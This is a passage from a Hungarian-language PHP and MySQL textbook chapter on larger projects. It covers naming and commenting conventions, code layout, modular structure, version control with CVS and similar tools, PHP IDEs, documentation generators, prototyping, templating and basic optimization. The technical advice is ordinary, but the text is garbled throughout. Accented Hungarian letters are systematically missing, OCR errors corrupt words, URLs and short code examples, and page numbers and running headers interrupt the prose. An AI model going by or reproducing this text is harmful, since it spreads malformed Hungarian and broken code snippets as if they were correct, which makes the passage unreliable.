orvosl megoldsokat, mielrr a hibt kijavtank vagy egyltaln dokumentlnk. A kziknyv angol nyelv vltozata a http:/ l
www.php.net/manual/ en/ cmen rhet el.
A ms programnyelvekbl rkez fejlesztk nha kisrtsbe esnek, hogy olyan"csomagol fggvnyeket" (wrapper function)
rjanak, amelyek tulajdonkppen rnevezik a PHP fggvnyeit az ltaluk ismerr programnyelvben hasznlt fggvnyekre. Az
ilyen programozsi mdszert angolulsyntactic sugar-nek, vagyis szinraktikai cukornak szoks nevezni. (A kifejezs tnyleges
jelentse krlbell" programnyelvi knyeztets" lehet.) Nem rdemes ilyet tenni; msok szmra nehezebben olvashatv s
kezelhetv teszi kdunkat. Ha j programozsi nyelvet kvnunk elsajttani, tanuljuk meg azt helyesen hasznlni! Radsul
ilyen szint fggvnyhvsokkal lelassthatjuk kdunkar. Mindent egybevve kerljk az ilyen programozsi megkzeltst!

A PHP s a MySQL hasznlata nagyobb projektekben

371

Ha azt lg uk, hogy az ltalunk ignyelt funkci nem rhet el a f PHP knyvtrban, kt lehetsg kzl vlasztharunk.
Ha viszonylag egyszer dologra van szksgnk, rdemes lehet megrni sajt fuggvnynket vagy objektumunkat. Ha azonban
igencsak sszetetten mkdik az a valami, amire szksgnk van - legyen az pldul vsrli kosr, webes levelezrendszer
vagy frum-, knnyen lehet, hogy tallunk valakit, aki egyszer mr ltrehozta azt. A nylt forrskd kzssgben vgzett
munka egyik nagy erssge, hogy az ehhez hasonl komponensek gyakran szabadon (s ingyenesen) elrhetk. Ha tallunk
az ltalunk ignyelthez hasonl komponenst, segtsgkppen mg akkor is megnzhetjk a forrskdjt, ha a komponens nem
teljesen ugyanaz, mint ami neknk kell. Az gy tallt forrskdot kiindulpontknt felhasznlva s mdostva knnyebben hoz
hatjuk ltre a sajt ignyeinkre alakitott kdunkat.
Ha a vgn az derl ki, hogy sajt fuggvnyeket vagy komponenseket kell rnunk, mrlegeljk annak eshetsgt, hogy mun
knk vgeztvel megosztjuk ket a PHP kzssgvel! Ugyanis ez az a hozzlls, aminek ksznheten ilyen segtksz, aktv
s felkszlt kzssget alkothatnak a PHP-fejlesztk.

Kezelhet kd rsa
Webes alkalmazsok esetn gyakran megfeledkeznek a kezelhetsg krdsrl, elssorban azrt, mert a programozk gyakran
sietve hozzk ltre az ilyen alkalmazsokat. Egybl hozzfogni a kdrshoz s gyorsan befejezni- bizony sokszor ez fontosab
bak tnik, mint elszr megtervezni azt. Pedig az elkszletekre sznt kevske id a ksbbiekben, amikor majd az alkalma
zs kvetkez vltozatt kszlnk fejleszteni, rengeteg felesleges munkartl kmlhet meg bennnket.

Programozsi szablyok
Az informacikval foglalkoz komolyabb szervezetek tbbsge sajt programozsi szablyokkal rendelkezik- vagyis olyan
irnyelvekkel, amelyek a fjlok s vltozk elnevezsr, a kd megjegyzsekkel elltst, tagolst stb. szablyozzk.
A webes fejlesztsre oly gyakran alkalmazott dokumenturnkzponr megkzelts miatt elfordul ezen szablyok figyelmen
kvl hagysa. Ha egyedl vagy nhny fbl ll kis csapatban programozunk, knnyen albecslhetjk a kdrsi szablyok
fontossgt. Ez azrt nem helyes, mert csaparunk s a projekt is knnyedn kinheti magt. Ekkor nem csak mi magunk zava
rodharunk ssze, hanem ott lesz mg egy csom msik programoz, aki sikertelenl fogja bogarszni meglv kdjainkat.

Elnevezsi szoksok meghatrozsa


Elnevezsi szoksok meghatrozsval az albbi clokat kvnjuk elrni:
A kd knnyen olvashatv ttele. Ha rtelmes (vagyis a tartalmukra utal) mdon nevezzk el vltozinkat s fuggv
nyeinket, szinte gy olvashatjuk a kdot, mintha egy reljesen ltalnos szveget, de legalbbis pszeudokdot olvasnnk.
Egyszerbben megjegyezhet azonostnevek hasznlata. Ha azonostinkat kvetkezetesen nevezzk el, knnyebben
esznkbe jut majd, hogy korbban hogyan hvrunk egy adott vltozt vagy fuggvnyt.
A vltozneveknek utalniuk kell az lcaluk tartalmazott adatokra. Ha egy vltozban valakinek a vezetknevt troljuk, ad
juk annak a $ve zeteknev nevet! Trekecljnk ugyanakkor az olvashacsg s a vltoznevek hossza kztti egyenslyra! Egy
$n nev vltozban pldul knyelmes dolog eitroini a nevet, de ezzel nem knnytettk meg kdunk olvashatsgt. Sokkal
informatvabb ugyan, ha a nevet az $aktualis_ felhasznala _neve vltozban troljuk, ebben az esetben viszont sokig
tart begpelni a vltoz nevt (gy nvekszik a gpelsi hiba valsznsge), ennyit pedig mr nem r meg az egsz.
A kis- s nagybetk hasznlatval kapcsolatban is dntst kell hozni. A PHP - ahogy azt mr emltettk- a vltoznevek
esetben klnbsget tesz a kis- s nagybetk kztt. El kell dnteni, hogy a vltozkat vgg kisbetvel, vgg nagybetvel
vagy kis- s nagybetket vegyesen hasznlva (pldul nagy kezdbetvel) rjuk. Ami bennnket, a knyv szerzit illeti, mi csak
kisbetket hasznlunk a vltoznevekben, mert ezt talltuk a legknnyebben megjegyezhetnek
rdemes lehet a vltozkat s az llandkat (konstansokat) eltr bethasznlattal megklnbztetni egymstl. Bevlc
szoks a vltozkat vgg kisbetvel (pldul $eredmeny) , az llandkat pedig csupa nagybetvel rni (pldul PI).
Egyes programozknl megfigyelhet az a nyilvnvalan rossz programozsi gyakorlat, hogy kt vltoznak ugyanazt a ne
vet acljk, csak a kis- s nagybetk eltr hasznlatval klnbztetve meg ket (pldul $nev s $Nev ) . Remljk, magyarz
ni is felesleges, hogy mirt kell vakodnunk ettl a mdszertl.
A legjobb, ha elkerljk az olyan- egybknt szrakoztat- nagybets rsmdot, mint pldul a $WaReZ, mert egy id
utn biztosan belekavarodunk a sajt szablyrendszernkbe.
Azt is vgg kell gondolni, milyen szablyt hasznlunk a tbb szbl ll vltoznevek esetn. A felhasznli nevet tartalma
z vltozk esetn pldul mindhrom most kvetkez vltoznv elkpzelhet:

25

372

25. fejezet

Sfelhasznaloinev
Sfelhasznaloi nev
SfelhasznaloiNev

Vgeredmnyben teljesen mindegy,hogy melyik szisztmt vlasztjuk,de trekednnk kell annak kvetkezetes hasznlat
ra. rdemes tovbb a vltoznevekben hasznlt szavak szmt kettre, legfeljebb hromra korltozni.
A fggvnynevek kivlasztsakor is nagyrszt a fentiekre, illetve nhny tovbbi dologra kell figyelemmel lennnk. A fgg
vnyneveknek ltalban utalniuk kell a fggvny funkcijra. Gondoljunk az olyan beptett PHP fggvnyekre, mint az
addslashes (} vagy a mysqli_connect (}, amelyeknek a neve utal arra, hogy mit fognak a nekik radott paramterekkel
tenni! Az ilyen elnevezsi rendszer jelentsen segti kdunk olvashatsgt. Lthatjuk, hogy a pldaknt emltett kt fggvny
a tbb szbl ll fggvnyneveket illeten eltr elnevezsi szablyokat kvet. A PHP fggvnyei e tekintetben nem kvetke
zetesek, rszben azrt, mert sok klnbz ember rta ket,de legfkppen azrt,mert sok fggvnynevet vltozatlanul vettek
t ms programozsi nyelvekbl s alkalmazs-programozsi interfszekbl (API).
Ne feledkezznk meg arrl sem, hogy fggvnynevek esetn a PHP nem tesz klnbsget a kis- s nagybetk kztt! Az
sszezavaradst elkerlend mindenesette rdemes az ltalunk kivlasztott formt kvetni.
rdemes lehet tvenni a szmos PHP modulban hasznlt medul-elnevezsi smt - vagyis azt, hogy a fggvnynevek el
eltagknt a modul nevt rjuk. Pldul a tovbbfejlesztett (improved) MySQL fggvnyek mindegyike a mysqli_ eltaggaL
minden IMAP fggvny pedig az imap_ eltaggal kezddik. Ha van a kdunkban pldul egy kosrmodul, az ebben a medul
ban lv fggvnyekhez adjuk a kosar_ (vagy,ha angol krnyezetben fejlesztnk, a eart_) eltagod
Jegyezzk meg, hogy amikor a PHP5 procedurlis s objektumorientlt interfszt is biztost,a fggvnynevek elerk
lesznek! A procedurlisok alulvonsokat hasznlnak (sajat_fuggveny (}),az objektumorientltak pedig gynevezett

studlyCaps stlusak lesznek (sa j atFuggveny (}).

Vgeredmnyben majdnem teljesen mindegy,hogy milyen szoksokat s szablyokat kvetnk a programozs sorn, a l
nyeg,hogy kvetkezetesen alkalmazzuk azokat.

Megjegyzsek hasznlata kdjainkban


Valamilyen sszer mrtkben minden programot megjegyzsekkel kell elltni. Jogos a krds,hogy mi tekinthet sszer
mrrknek. ltalban a kvetkez elemek elfordulsa esetn kell mdegeini a megjegyzs szksgessgt:
Fjlok (teljes kdok vagy beillesztett fjlok)- Minden f:ijlhoz tartozzon megjegyzs, amely kzli, hogy mi az adott
f:ijl, mire szolgl, ki rta, s mikor mdostottk!
Fggvnyek- A fggvnyekhez adott megjegyzseknek tartalmazniuk kell, hogy mit csinl az adott fggvny,milyen
paramtert vr, s mivel tr vissza.
Osztlyok- A megjegyzseknek az osztly cljt kell tartalmazniuk. Az osztlymetdusokhoz ugyanolyan rpus s
szint megjegyzseket kell adnunk, mint brmilyen ms fggvnyhez.
Szkripten vagy fiiggvnyen belli kdrszletek- Gyakran hasznosnak bizonyul,ha egy kd megrst pszeudokdhoz
hasonl srlus megjegyzsekkel kezeljk, majd az egyes rszekhez tartoz kd megrsval folytatjuk. Eszerint a kd
els formjban valahogy gy nzhet ki:

25

ll beviteli adatok ellenrzse


ll elkldsk az adatbzisba
ll eredmny megjelentse
?>

Ennek a mdszernek az a hatalmas elnye,hogy az adott rszek fggvnyekkel vagy brmilyen ms utastsokkal val feltltse utn mr megfelel megjegyzsekkel elltott kdot kapunk.

sszetett kd vagy trkk- Amikor egy konkrt feladatot akr egy teljes napig programozunk, vagy nagyon nyakate
kerr mdon tudunk csak megoldani, megjegyzsben rjuk oda,mirr az adott megkzeltst vlasztottuk! gy amikor
legkzelebb megnzzk ezt a kdot, nem fogjuk rtetlenl vakargatni a fejnket, s nem kell magunktl azt krdezni:
..Vajon mi az rdgt akar ez jelenteni?"
s mg egy megfontolsra rdemes j tancs: megjegyzseinket menet kzben rjuk oda! Gondolhatnnk, hogy majd a pro
jekt befejezsekor visszatrnk, s hozzadjuk a megjegyzseket. Fogadni mernnk, hogy ez nem gy lesz,kivve, ha soha nem
kzdnk idhinnyal, s a knyv szerzinl nagyobb nfegyelemmel rendelkeznk.

A PHP s a MySQL hasznlata nagyobb projektekben

373

Tagols
Mint brmely programozsi nyelv esetn, itt is rdemes kdunkat rtelmes s kvetkezetes mdon tagolni. A kd rsa letrajz
vagy zleti levl sszelltshoz hasonl. A tagols knnyebben olvashatv s gyorsabban rtelmezhetv teszi kdunkat.
lcalnos szablyknt elmondhat, hogy a vezrlsi szerkezeteken belli brmely programblokkor behzssal kell elk
lnteni az azt krlvev kdtL A behzsnak szrevehetnek (vagyis egy szkznl nagyobbnak) kell lennie, ugyanakkor
tlzsba sem szabad vinni a mrtkt. Vlemnynk szerm a tabultotok hasznlatt rdemes elkerlni. Br egy mozdulattal,
azaz egyeden billenty letsvel elllrhack, a legebb monitoron tl sok helyet foglalnak el. Projektjeinkben jellemzen kr
hrom szkznyi behzssal tagoljuk a kdot.
A kapcsos zrjelek hasznlata is krdses lehet. A kt leggyakoribb sma a kvetkez:
l. sma:
if

(felttel)

ll valamilyen mvelet
l
2. sma:
if

(felttel l

{
ll valamilyen ms mvelet

Tlnk fgg, hogy melyiket vlasztjuk. Itt is fontos azonban, hogy az sszezavarodst elkerlend a teljes projektben kvet
kezetesen hasznljuk.

Kdunk darabokra bontsa


Szrny dolog tud lenni egy hatalmas, egyeden tmbbl ll kd. Vannak, akik egyeden nagy programot rnak, amely egy
gigantikus switch utastsban vgez el mindent. Sokkal jobb ennl kdunkat fggvnyekre s/ vagy osztlyokra bontani, s az
egymshoz kapcsold elemeket beillesztend fjlokba pakol ni. Az adarbzissal kapcsolaros sszes fggvnynket berakhatjuk
pldul az adatbaz is _fuggvenyek. php nev fjlba.
A kvetkez indokai leheenek kdunk ttekinthet darabokra bontsnak:
Knnyebben olvashatv s rtelmezhecv teszi kdunkat.
Biztostja kdunk tbbszri felhasznlhatsgt, s minimalizlja a redundancit. Az elbb emlitett adatbaz is_
fuggvenyek. ph p f;ijlt pldul minden olyan kdban fel tudjuk hasznlni, amelyben adatbzisunkhoz kell csatlakozni.
Ha mdostani kell ennek mkdsr, elg lesz egyeden helyen vgrehajtani a vltoztatst.
Lehetv teszi a csapatmunkt. Ha kdunkat alkotelemekre bontjuk, minden egyes komponenshez klnbz felel
sket jellhetnk ki a csapatbl. Ez egyttal azt is jelenti, hogy elkerlhetk az olyan helyzetek, amikor az egyik progra
moznak arra kell vrnia, hogy a msik befejezze munkjt a GigantikusKod. php f;ijlban, mert csak ekkor tud sajt
feladatval tovbbhaladni.
A projekt kezderekor sznjunk egy kis idt annak vgiggondolsra, hogyan lehet majd a projektet a tervezett alkotele
mekre felbontani! Ehhez meg kell hatroznunk az egyes funkcik kztti kapcsolatokat, de nem rdemes tlzottan elmerlni
ebben, mert a projekt kzben mg annyi minden vltozhat. Azt viszont el kell dnteni, hogy melyik komponenseket szksges
elszr megalkotni, mely alkotelemek plnek msikakra, s milyen hatridkre kell velk elkszlni.
Mg abban az esetben is rdemes minden egyes komponens felelsnek egy konkrt szemlye kij ellni, ha mindenki minden
egyes alkocdemen dolgozni fog. Ugyanis ez a szemly lesz felels azrt, ha valami nem megfelelen alakul a neki kiosztott
komponenssel. Valakinek az gynevezett build manager pozcijt is be kell tltenie. Ez az a szemly, aki ellenrzi, hogy az
egyes alkotelemek fejlesztse j ton halad, s a komponensek mkdni fognak egymssal. Jellemzen ez a csapattag felels
a verzikvetsn is; ezt a feladatot a fejezet egy ksbbi rszben bvebben ttekintjk majd. Lehet ez a projekrvezec, de akr
msnak is kioszchac ez a feladat.

Egysges knyvtrstruktra hasznlata


A projekt elejn azt is vgig kell gondolnunk, hogy hogyan fogja tkrzni a weboldal knyvrrstruktrja progranmnk alkot
elemeinek szerkezett. ppolyan badarsg mindent egyeden knyvtrba pakolni, mint egyetlen, a celjes mkdst tartalmaz
kdot rni. Dntsk el, hogyan fogjuk a knyvtrstruktrt felbontani a komponenseket, a program logikjt, a tartalmat s
a megosztott kdokat tartalmaz knyvtrakra! Dokumentljuk a vlasztott struktrt, s gondoskodjunk rla, hogy a projek
ten dolgoz sszes kollgnk kapjon errl msolatot, hogy tudjk, mit hol keressenek!

25

374

25. fejezet

Fggvnyek dokumentlsa s megosztsa fejleszti csapaton bell


Ha fggvnyknyvtrakat hozunk ltre, csaparunk tbbi programozja szmra is elrherv kell tenni azokat. Gyakran el
fordul, hogy egy csapat minden programozja megrja sajt adatbzis-, dtum- s hibakezel fggvnyeit. Az ilyen fellls teljes
mrtkben idpocskols. A fggvnyeket s az; osztlyokat a tbbiek szmra is elrhetv kell tenni.
Nem elg, ha a kdot a csapattagok ltal hozzfrhet terleten vagy knyvtrban rroljuk, mert csak akkor fognak tudni
a kdunkrL ha tjkoz;caguk ket. Fejlessznk ki valamilyen rendszert a sajt (csapaton belli) fggvnyknyvtrak dokumen
tlsra, s tegyk azt kzkinccs csapatunk programozi krben!

Verzikvets megvalstsa

25

A verzikvels (version control) a sz;oftverfejlesz;tsben alkalmazott egyidej vltozsok kezelsnek mvsz;ete. A verzikve
t rendszerek ltalnossgban kzponti trolknt (repository) mkdnek, s kontrolllt felletet nyjtanak kdunk elrsre
s megosztsra (s jobb esetben a dokumentlsra).
Kpzeljnk el egy olyan helyzetet, amikor javtani szecetnnk kdunkon, de vletlenl elronrunk valamit, s akrhogyan
prbljuk, nem tudjuk visszallitani az; eredeti vltozatot! Vagy akr mi magunk, akr az; gyfl gy dnt, hogy az; oldal egy
korbbi verzija jobb volt. Esetleg jogi okokbl vissza kell llnunk egy korbbi verz;ira.
Kpzeljnk el msik helyzetet, azt, amikor a programoz csapat kt tagja ugyanazon a fjlon szereme dolgozni! Elfordul
hat, hogy mindketten megnyitjk s egyszerre sz;erkesz;tik a fjlt, fellrva egyms vltoztatsait. Mindkettjk lemsolhaga
a fjlt, s a helyi verz;in dolgozva egymsrl eltr vltoztatsokat hozhatnak ltre rajta. Ha valaha is belegondolrunk mr
abba, hogy milyen nem kvnt dolgok szrmazhatnak ebbl, akkor az; elbb emltett kt programoz kzl az; egyik minden
bizonnyal ttlenl l s vrja, hogy a msik befejezze a fjl sz;erkesz;tst.
Az; ilyen problmkat verzikvet rendszerrel orvosolhaguk. Ezek a rendszerek nyomon tudnak kvetni a kz;s trolban
lv llomnyokon vgrehajtott minden vltoztatst, gy nem csak azok aktulis llapott lthaguk, hanem azt is, hogy hogyan
nztek ki egy mltbeli idpontban. Ez a funkci lehetv teszi, hogy az; elrontott kdot visszallitsuk a tudottan mkd ver
zijra. Adott fjlpldnyokat elltharunk mkd verzi (release version) cmkvel, ami azt eredmnyezi, hogy folytathatjuk
a kd fejlesztst, de brmikor hozzfrhetnk a jelenleg mkd verzi msolathoz;.
A verzikvet rendszerek abban is segtenek, hogy egyszerre tbb programoz dolgozhasson egytt a kdon. Brmely
programoz foghatja a kz;s trolban lv kd egy msolatt (ez; lesz; a sajt munkapldnya), s amikor vltoztatsokat hajt
vgre rajta, azokat tvezetheti a trolban lv vltozatba (vagyis kz;z;teheti a vltoztatsait). A verzikvet rendszerekkel
gy nyomon kvethet, hogy ki hajtotta vgre a rendszeren az; egyes vltoztatsokat.
Ezek a rendszerek ltalban az; egyidej vltoztatsok kezelsre is kpesek. Ez azt jelenti, hogy ugyanazt a fjlt egyszerre
egynl tbb programoz is mdosthatja. Kpzeljk el pldul azt, hogy Jnos s va is ltrehozta projekgk legutols vltoza
tnak egy munkapldnyt! Jnos befejezi az; adott fjl mdostst, majd kzz;resz;i a vltoztatsait. va is mdosga ugyanazt
az; llomnyt, s is megprblja kz;z;tenni a vltoztatsokat. Ha a mdostsok nem a fjl ugyanazon rszben trtntek,
akkor a verzikvet rendszer egyesti a fjl kt vltozatt. Ha a mdostsok tkznek egymssal, akkor a rendszer rtesti
vt, s megmutatja neki a kt klnbz verzit. Ekkor lehetsget kap, hogy az; tkzsek elkerlse rdekben mdostsa
sajt vltozatt.
A Unix- s/vagy nylt forrskd fejleszrk tbbsge a Concurrent Versions System (CVS) nev verzikvet rendszerrel
dolgozik. A nylt forrskd CVS gyakorlacilag a Unix minden verzijn automatikusan elrhet, s DOS-os vagy Windows
opercis rendszert futtat P C-khez; s Macintosh gpekhez; is beszerezhet. Tmogatja a kliens/sz;erver modellr, gy min
den interneckapcsolattal rendelkez gprl hasznlhat, amennyiben a CVS kiszolgl elrhet az; interneten. Rszben ezrt
a PHP, az; Apache s a Mozilla fejlesztse sorn is ezt a rendszert hasz;nltk.
Szmrgpnkre a CVS honlapjrl (hrtp://ximbiot.com/cvs/wiki/) tudjuk letlteni.
Ugyan az; alap CVS rendszer parancssori eszkz, klnbz bvtmnyekkel vonzbb, egyebek kzte Java-alap s
windowsos kezelfelletet adharunk neki. Ezeket a bvtmnyeket is a CVS weboldalrl sz;erezhegk be.
A Bitkeeper a CVS-szel rivlis verzikvet rendszer, amit pldul olyan nylt forrskd projektekhez hasznlnak, mint
a MySQL s a Linux kernel. Nylt forrskd projektekhez ingyenesen beszerezhet a http://www.bitkeeper.com/ oldalrl.
Termszetesen fizets verzikvet rendszerek is lteznek. Egyik ilyen a perforce, amely a leggyakoribb plattormok tbbs
gn fut, s PHP -tmogatssal br. Noha fizets, a nylt forrskd projekthez ingyenes licencek sz;erezhetk be a htcp://www.
perforce.com/ oldalrl.

A PHP s a MySQL hasznlata nagyobb projektekben

375

A fejlesztkrnyezet kivlasztsa
A verzikvers utn annl ltalnosabb tmakr kvetkezik: a fejlesztkrnyezet krdse. A fejlesztshez tulajdonkppen
elegend lenne egy szvegszerkeszt s - a tesztelshez- egy bngsz, de a programozk ltalban hatkonyabban tudnak
dolgozni az integrlt fejlesztkrnyezetekben (Integrated Development Environment- IDE).
Szmos ingyenes projekt ltezik dediklt PHP IDE ltrehozsra, kztk a KPHPDevelop, amely a Linux alatti KDE asz
rali krnyezethez val, s a http://kphpdev.sourceforge.net/ oldalrl tlthet le.
A dolgok jelenlegi llsa szerint azonban a legjobb PHP fejlesztkrnyezetek fizetsek. A zend.com Zend Studija, az
activestate.com Komodja s a nusphere.com PHPEd-je mind funkcikban gazdag, hatkonyan hasznlhat fejlesztkrnye
zet. Mindegyik ingyenesen kiprblhat, m tarts hasznlatuk fizets. A Kornodhoz olcs, nem zleti clra hasznlhat
licenc is beszerezhet.

Projektjeink dokumentlsa
Programozsi projektjeinkhez szmtalan klnfle dokumentcit kszthetnk. A reljessg ignye nlkl emltsnk meg ezek
kzl nhnyat:
Tervdokumentci
Mszaki dokumentci/fejleszti tmutat
Adatsztr (belertve az osztlydokumentcit)
Felhasznli tmutat (noha a webes alkalmazsok tbbsgnek magtl rtetdnek kell lennie)
Ennek a rsznek nem az a clja, hogy megtanuljunk mszaki dokumentcit rni, hanem elmondjuk, hogy sokkal knnyeb
b tehetjk letnket, ha rszben automatizljuk ennek folyamatt.
Egyes nyelvek lehetv teszik a fent emltett dokumentumok egy rsznek - elssorban a mszaki dokumentcinak s az
adatsztraknak- az automatikus ellltst. A javadoc pldul fastruktrba rendezett HTML fjlokat hoz ltre, amelyek
osztlytagok prototpusait s lersait tartalmazzk a Java-programokhoz.
J egynhny ilyen tpus segdalkalmazs rhet el a PHP-hez, pldul:
phpdoc (a http://www.phpdoc.de/ oldalrl tlthet le)
A PEAR ezt a rendszert hasznlja a kd dokumentlsra. rdemes megjegyezni, hogy a phpDoc kifejezs szmos ilyen
tpus projekere utal, amelyek kzl ez az egyik.
PHPDocumentor (a http://phpdocu.sourceforge.net oldalrl szerezhet be)
A PHPDocumentor a javadochoz hasonl vgeredmnyt ad, s viszonylag robusztusan mkdik. Az itt megemltett kt
msik ilyen alkalmazsnl aktvabb fejleszti csapattal bszklkedhet.
phpautodoc (a http://sourceforge.net/projects/phpautodoc/ oldalon rhet el)
A phpautodoc is a javadochoz hasonl vgeredmnyt ad.
Ilyen tpus tovbbi alkalmazsokat (s ltalnossgban a PHP komponenseket) a SourceForge weboldaln rdemes keres
ni: http://sourceforge.net. A SourceForge elsdleges haszonlvezje a Unix/Linux-kzssg, de sok projekt ms platformok
hoz is elrhet.

Prototpuskszts
A prototpuskszls (prototyping) a fejlesztsi ciklus webes alkalmazsok esetn gyakran hasznlt rsze. A prototpus kivlan
alkalmas az gyfl elvrsainak meghatrozsra. Jellemzen a fejlesztend alkalmazs egyszerstett, rszben mkd verzi
ja, amely az gyfllel folytatott trgyalsokon, illetve a vgleges rendszer alapjaknt hasznlhat. A vgleges alkalmazs gyakran
a prototpus tbbszri mdostsval ll el.
Az ilyen megkzelts elnye, hogy az gyfllel vagy vgfelhasznlkkal szoros egyttmkdsben dolgozva olyan rendszert
llchatunk el, amellyel elgedettek lesznek, s legalbb valamilyen mrtkben maguknak rzik azt.
Egy prototpus gyors "sszedobshoz" bizonyos kszsgek s eszkzk szksgesek. A komponens alap megkzelts jl
rud mkdni az ilyen helyzetekben. Ha rendelkezsnkre llnak klnfle, meglv komponensek, akr hzon belliek, akr
nyilvnosan elrhetk, sokkal gyorsabban vgezhetnk. A prototpusok gyors elksztsnek msik hasznos eszkzei a sablo
nok. A kvetkez rszben ezeket az eszkzket tekintjk t.
Prototpuskszts esetn kt f problmba futhatunk bele. Annak rdekben, hogy elkerlhessk ezeket, s a lehet legrel
jesebb mrtkben ki tudjuk hasznlni a prototpusok elnyeit, ismerni kell ezt a kt problmt.
Ezek kzl az els, hogy a programozk valamilyen okbl nehezen szabadulnak meg az lcaluk mt megirt kdtL A protot
pusokat gyakran gyorsan dobjk ssze, s utlag mr knnyen megllapthat, ha nem optimlis vagy nem kzel optimlis mdon
kszltek el. A hibs kdrszeket ugyan ki lehet javtani, de ha a reljes struktra rossz, akkor bizony b:yba kerltnk. A problma

25

376

25. fejezet

abbl ered, hogy a webes alkalmazsok igen gyakran az id szarrsban kszlnek, s egyszeren nincs id a teljes korriglsra.
Ekkor knytelenek vagyunk egy gyengn megtervezert rendszerrel berni, amit radsul igen nehz lehet mkdtetni.
Az ilyen problmt- ahogy azt mr emltertk - nmi tervezssei megelzhetjk. Ne felecljk, hogy egyes helyzetekben
jobb egy huszrvgssal mindent eldobni s az egszet ellrl kezdeni, mint megprblni kijavtani a hibt! Br gy tnhet,
hogy az jrakezdshez egyszeren nincs id, sokszor rengeteg ksbbi kellemetlensgrl kmlhet meg bennnket.
A prototpuskszrs msodik problmja, hogy a fejlesztend rendszer knnyen rk prototpusknt vgezheti. M inden
egyes alkalommal, amikor mr azt gondoljuk, hogy elkszlrnk, az gyfl tovbbi javtsokat vagy jabb funkcikat, mdos
rsokat krhet a weboldalon. Ha ez bekvetkezik, knnyen rezhetjk gy, hogy ezzel a projekttel sosem fogunk vgezni.
Ezt elkerlend ksztsnk olyan projekttervet, amely meghatrozza a prototpusok konkrt szmt s egy olyan dtumot,
amely utn jabb funkcikat csak a kltsgvets s a hatridk mdosrsval lehet bevenni.

A mkds s a tartalom sztvlasztsa


Bizonyra ismers szmunkra az a mdszer, hogy HTML kd segtsgvel hatrozzuk meg egy webes dokumentum szerkeze
rt, s egymsba gyazott stluslapokkal (cascading sryle sheers- CSS) alakitjuk ki a megjelenst. A megjelents s a tartalom
elvlasztsnak elve a programozsra is kirerjeszthet. Weboldalaink hossz tvon egyszerbben hasznlhatk s kezetherk
lesznek, ha a mkdst, a rarralmar s a megjelentst sztvlasztjuk egymstl. Ennek a folyamarnak a lnyege a mi esetnk
ben a PHP s a HTML elklntse.
Az egyszer, pr soros kdokbl vagy programokbl ll projektek esetn tbb fradsggal jrhar a tartalom s a logika szt
vlasztsa, mint amennyit nyernk rajta. Nagyobb projekteknl azonban elengedhetetlen, hogy megtalljuk a mkds s a tar
talom sztvlasztsnak mdjt. Ha ezt elmulasztjuk, kdunk egyre nehezebben kezelhetv vlik. Ha mi magunk dnrunk
gy, vagy a kls krlmnyek gy hozzk, hogy j dizjnt kell szabni weboldalunknak, s rengeteg HTML lett begyazva
kdunkba, knnyen rmlomm vlhat a dizjnvlts.
A mkds s a tartalom sztvlasztsnak hrom alapvet mclja a kvetkez:
A tartalom klnbz rszeit troljuk heilleszrend fjlokban l Ez a megkzelts a vgletekig leegyszerstett, de nagy
rszt statikus oldal esetn meglehetsen jl mkdik. Az ilyen tpus megkzeltst mutattuk be a Kd tbbszri jelhasz
nlsa s fggvnyrs cm 5. fejezet TLA Consuiting pldjban.
Fggvny vagy osztly API-hez tagfggvnyek sorozatt hasznlva illessznk dinamikus tarralmar a statikus oldalsablo
nokbal Ezt a megkzeltst az Objektumorientlt PHP cm 6. fejezetben tekintettk t.
Hasznljunk sablonrendszerd Ez a statikus sablonokat elemezve s regulris kifejezsekkel dolgozva dinamikus tar
talomra cserli a helyrz cmkket. Ennek a megkzeltsnek a legfbb elnye, hogy ha valaki ms, pldul grafikus
tervezi sablonjainkat, akkor neki semmit sem kell tudni a PHP-programozsrl. Az gy kaport sablonokat minimlis
mdosrssal hasznlni tudjuk.
Szmtalan sablonrendszer kzl vlaszthatunk. A legnpszerbb kzlk taln a Smarry, amely a http://smarty.php.net/
oldalon rhet el.

Kdoptimalizls

25

Amennyiben nem webes programozsi httrrel rendelkeznk, az optimalizls igen fontos lehet szmunkra. PHP esetn
a felhasznlk legfkppen a kapcsoldsi s a letltsi id miatt vrakozharnak webes alkalmazs hasznlata kzben. Ezekre
a tnyezkre ltalban csak minimlis hatssal lehet kdunk optimalizlsa.

Egyszer optimalizcis lpsek


Ugyanakkor, ha MySQL adatbzist integrlunk PHP kdunkba, ltezik nhny egyszer optimalizcis lps, amely cskken
teni kpes a kapcsoldsi s letltsi idt:
Cskkentsk az adatbzishoz csadakozsok szmt! Az adatbzishoz csatlakozs sok esetben a kd leglassabb rsze.
Gyorstsuk fel az adatbzis-lekrdezseked Cskkentsk az ltalunk vgzert lekrdezsek szmt, s gyeljnk r, hogy
optimalizlt lekrdezsekkel dolgozzunk! sszetett (s ebbl kvetkezleg lass) lekrdezsek esetn ltalban tbb
mdszer is ltezik a problma megoldsra. Futassuk lekrdezseinket az adatbzis parancssori felletrl, s klnbz
mdszerekkel ksrletezve keressk meg a leggyorsabb megoldst! MySQL-ben az EXPLAIN utastssal derthetjk ki,
hogy egy lekrdezs hol kezd el rossz irnyba menni. (Az utasts hasznlatt a Halad MySQL adminisztrci cm 12.
fejezetben mutattuk be.) ltalnos irnyelv szerint minimalizljuk az sszekapcsolsok szmt, s minl inkbb hasz
nljuk az indexeked

A PHP s a MySQL hasznlata nagyobb projektekben

377

Kerljk a statikus tartalom PHP-bl val ellltst! Ha minden, ltalunk ellltott HTML echo vagy print ()
utastsbl szrmazik, az oldal ellltsa jelentsen tovbb tarthat. (Ez az egyik rv a mkds s a tartalom korbban
bemutatott sztvlasztsra.) Ez a tancs a kpgombok dinamikus ellltsra is rvnyes: a PHP-t csak arra hasznl
juk, hogy egyszer ellltsuk a gombokat, majd szksg esetn jra felhasznlhatjuk azokat. Ha egy oldal minden egyes
betltsekor fggvnyekbl vagy sablonokbl lltjuk el a pusztn statikus oldalakat, gondolkodjunk el azon, hogy csak
egyszer futtatjuk a fggvnyeket! Vagy hasznljuk a sablonokat, majd elmentjk ennek eredmnyt.
Ahol csak lehetsges, sztringkezel fggvnyeket vegynk ignybe a regulris kifejezsek helyett, mert az elbbiek gyor
sabbak.

Zend termkek hasznlata


A Zend Technologies tulajdonban van a PHP 4-es verzijtl kezdve hasznlt (nylt forrskd) PHP parancsfjlmotor
(scripting engine). Az alapmotor mellett a Zend Optimizer is lelthet. Ez a tbblpses optimalizl optimalizlja kdunkat,
s 40-100 szzalkkal kpes nveini programjaink futsi sebessgt. Az optimalizl futtatshoz a PHP 4.0.2-es vagy annl
jabb vltozatra van szksg. Ugyan nem nyilt forrskd, de ingyenesen letlthet a Zend oldalrl (http://www.zend.com).
